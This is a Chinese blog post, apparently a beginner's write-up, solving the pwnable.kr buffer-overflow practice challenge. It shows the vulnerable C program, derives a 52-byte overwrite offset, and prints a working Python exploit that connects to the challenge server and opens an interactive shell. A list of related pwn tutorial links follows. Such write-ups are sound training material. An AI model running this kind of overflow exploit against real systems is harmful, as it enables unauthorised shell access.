pwn学习之路

原创 2018年04月15日 22:18:01

最近也开始学习pwn了。。。网站平台是http://pwnable.kr/play.php

网址是http://pwnable.kr/play.php

第三题,代码如下

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

显然是要覆盖。。。

下载了他的文件,然后IDA打开,


arg_0的参数是8字节,按照图一里,就是0x2C+8=44+8=52

所以需要覆盖52位

然后写python代码,这里要感谢giantbranch大大,我是按照他的博客,一步步开始学习,他的博客是https://blog.csdn.net/u012763794/article/details/51992512


我也自己做了点测试。

代码如下

# -*-coding:utf8 -*-
import socket
import telnetlib
import struct
# 将32位的整数转化为字符串(小端模式)
def p32(val):
    # <:小端模式  L:unsigned long
    return struct.pack("<L", val)
def pwn():
    '''
     ####cmp     [ebp+arg_0], 0CAFEBABEh
     ####这里 ebp是44,args_0是8,所以地址是52

    char s; // [sp+1Ch] [bp-2Ch]@1
    overflowme的基址为ebp-0x2c,即44个字节,再加上  ebp  和   返回地址  的8个字节就是52个字节,最后的4个字节覆盖就可以了
    '''
    # 创建一个TCP socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # 连接服务器的9000端口(接收的参数是一个元组)
    s.connect(("pwnable.kr", 9000))
    # 目标被填充的地址
    target_addr = p32(0xcafebabe)
    #本来的bp地址是 44+4(bp)+4(返回地址)==52
    ### 所以需要先覆盖52位,没有了返回

    ###我试着改为56,然后溢出了,溢出保护,导致终止了
    ###小于52,则没有覆盖
    # 构造payload,52长度
    payload = '1' * 52 + target_addr
    print payload
    # 向服务器发送数据
    s.sendall(payload + '\n')
    # 创建一个telnet来产生一个控制服务器的shell
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
pwn()

pycharm里开始运行,然后就可以发现建立了shell

输入ls


版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/qq_35396598/article/details/79954190

pwn入门

之前学过一点关于pwn,不过总是断断续续,学一点就停止了,这次准备好好学一下。推荐一个网站这是个练习pwn的很好的网站 FD 先连上去 查看fd.c文件 main函数中:argc是...
  • qq_38204481
  • qq_38204481
  • 2018-03-27 13:24:47
  • 52

我的安全之路——二进制与逆向篇

我的安全之路——二进制与逆向篇write in my dormitory at ‏‎11:23:35 Saturday, May 20th, 2017 by giantbranch(一个当初想横跨w...
  • u012763794
  • u012763794
  • 2017-07-23 22:51:37
  • 1716

pwn学习总结

遇到的优秀文章 关于Heap Overflow(堆溢出) Linux常见漏洞利用技术实践 GCC 中的编译器堆栈保护技术 Linux环境进程间通信(一) 现代Linux操作系统的栈溢出(一)...
  • qq_33514328
  • qq_33514328
  • 2016-09-01 15:55:46
  • 2194

ISG pwnme100 poc 学习

ISG pwnme100 poc 学习 背景 最近在学习ISG2015比赛的 FlappyPig 的writeup(http://bobao.360.cn/learning/detail/702....
  • csalp
  • csalp
  • 2015-11-21 01:15:05
  • 1287

Pwn学习历程(1)--基本工具、交互、调试

1、 从基础开始1.1 简单原理介绍以下内容摘自Wiki:   Pwn是一个骇客语法的俚语词,自”own”这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处...
  • gyhgx
  • gyhgx
  • 2016-12-02 21:32:35
  • 16113

通过pwnable.kr从零学pwn

本文链接:http://blog.csdn.net/u012763794/article/details/51992512 下面的这个地址很多ctf的学习资源都是有推荐的 挑战地址:http://...
  • u012763794
  • u012763794
  • 2016-07-31 00:17:50
  • 7875

pwn工具箱之house of lore

前言我看了一些网上对于这些技术的解释,但是发现他们大多比较绕,对于理解其中心思想造成了难度,所以 我在这里把他们记录下来,把这些技术的中心思想记下来,作为自己的pwn工具箱,在以后解决pwn问题的 ...
  • qq_29343201
  • qq_29343201
  • 2017-05-22 16:29:39
  • 381

170629 Pwn-XCTF决赛的Pwn视频分析

1625-5 王子昂 总结《2017年6月29日》 【连续第270天总结】 A. XCTF总决赛 Pwn B. 看二进制指导的时候误打误撞看了一个Pwn的视频writeup,不过技术原理上与逆...
  • whklhhhh
  • whklhhhh
  • 2017-06-30 17:16:08
  • 285

Pwn笔记

Pwn笔记 -前言 以下内容摘自Wiki: Pwn是一个骇客语法的俚语词,自”own”这个字引申出来的,这个词的含意在于,玩家在整个游戏对战中处在胜利的优势,或是说明竞争对手处在完全惨败的情...
  • caterpillarous
  • caterpillarous
  • 2016-04-18 10:08:58
  • 1403
收藏助手
不良信息举报
您举报文章:pwn学习之路
举报原因:
原因补充:

(最多只允许输入30个字)